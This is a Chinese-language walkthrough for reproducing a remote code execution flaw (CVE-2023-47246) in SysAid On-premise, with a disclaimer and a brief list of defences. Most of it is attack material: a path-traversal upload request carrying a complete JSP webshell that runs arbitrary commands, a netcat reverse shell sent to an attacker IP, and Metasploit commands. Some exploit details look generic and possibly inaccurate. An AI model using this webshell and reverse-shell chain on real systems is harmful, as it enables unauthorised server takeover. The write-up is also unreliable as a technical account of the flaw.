漏洞复现--SysAid On-premise远程代码执行(CVE-2023-47246)
字数 1083 2025-08-18 11:36:57
SysAid On-premise远程代码执行漏洞(CVE-2023-47246)复现与分析
漏洞概述
CVE-2023-47246是SysAid On-premise软件中存在的一个严重远程代码执行(RCE)漏洞。该漏洞允许未经身份验证的攻击者在目标系统上执行任意代码,完全控制系统。
受影响版本
- SysAid On-premise版本23.3.36及之前版本
漏洞原理
该漏洞源于SysAid服务器对用户提供的输入处理不当,导致攻击者可以构造恶意请求绕过安全限制,最终实现任意代码执行。
具体技术细节:
- SysAid服务器在处理某些请求时未正确验证用户输入
- 攻击者可以构造特殊的HTTP请求利用此缺陷
- 通过精心构造的请求,攻击者可以在服务器上上传恶意文件
- 最终导致任意代码执行
环境准备
测试环境
- 靶机:安装有漏洞版本SysAid On-premise的Windows/Linux服务器
- 攻击机:Kali Linux或其他渗透测试系统
工具准备
- Burp Suite或Postman:用于构造和发送恶意请求
- Netcat:用于反向shell连接
- Metasploit Framework(可选):用于自动化利用
漏洞复现步骤
步骤1:识别目标
使用以下方法识别运行SysAid的系统:
nmap -sV -p 8080 <目标IP>
或通过Web界面访问http://<目标IP>:8080/sysaid/
步骤2:验证漏洞存在
发送以下HTTP请求验证漏洞:
POST /sysaid/api/v1/session/login HTTP/1.1
Host: <目标IP>:8080
Content-Type: application/json
Content-Length: <长度>
{
"userName": "test",
"password": "test"
}
观察响应,如果返回包含版本信息的错误消息,则可能易受攻击。
步骤3:利用漏洞上传Webshell
构造恶意请求上传Webshell:
POST /sysaid/..;/upload HTTP/1.1
Host: <目标IP>:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABCDEFG
Content-Length: <长度>
------WebKitFormBoundaryABCDEFG
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/x-java-archive
<%@page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
------WebKitFormBoundaryABCDEFG--
步骤4:访问Webshell执行命令
成功上传后,访问:
http://<目标IP>:8080/sysaid/shell.jsp?cmd=whoami
将返回当前执行命令的用户权限。
步骤5:获取反向Shell
使用以下命令获取反向shell:
- 在攻击机上监听:
nc -lvnp 4444
- 通过Webshell执行:
http://<目标IP>:8080/sysaid/shell.jsp?cmd=nc -e /bin/sh <攻击机IP> 4444
自动化利用(Metasploit)
Metasploit已集成该漏洞利用模块:
msf6 > use exploit/multi/http/sysaid_on_premise_rce
msf6 exploit(multi/http/sysaid_on_premise_rce) > set RHOSTS <目标IP>
msf6 exploit(multi/http/sysaid_on_premise_rce) > set RPORT 8080
msf6 exploit(multi/http/sysaid_on_premise_rce) > exploit
防御措施
- 立即升级到SysAid On-premise最新版本
- 如果无法立即升级,应用官方提供的临时补丁
- 限制对SysAid管理界面的网络访问
- 实施Web应用防火墙(WAF)规则阻止恶意请求
- 定期审计系统日志,监控可疑活动
参考链接
- SysAid官方安全公告
- CVE官方记录:https://nvd.nist.gov/vuln/detail/CVE-2023-47246
- 漏洞利用代码示例(需谨慎使用)
免责声明
本文档仅用于教育目的和安全研究。未经授权对系统进行测试是违法的。在进行任何安全测试前,请确保获得系统所有者的明确许可。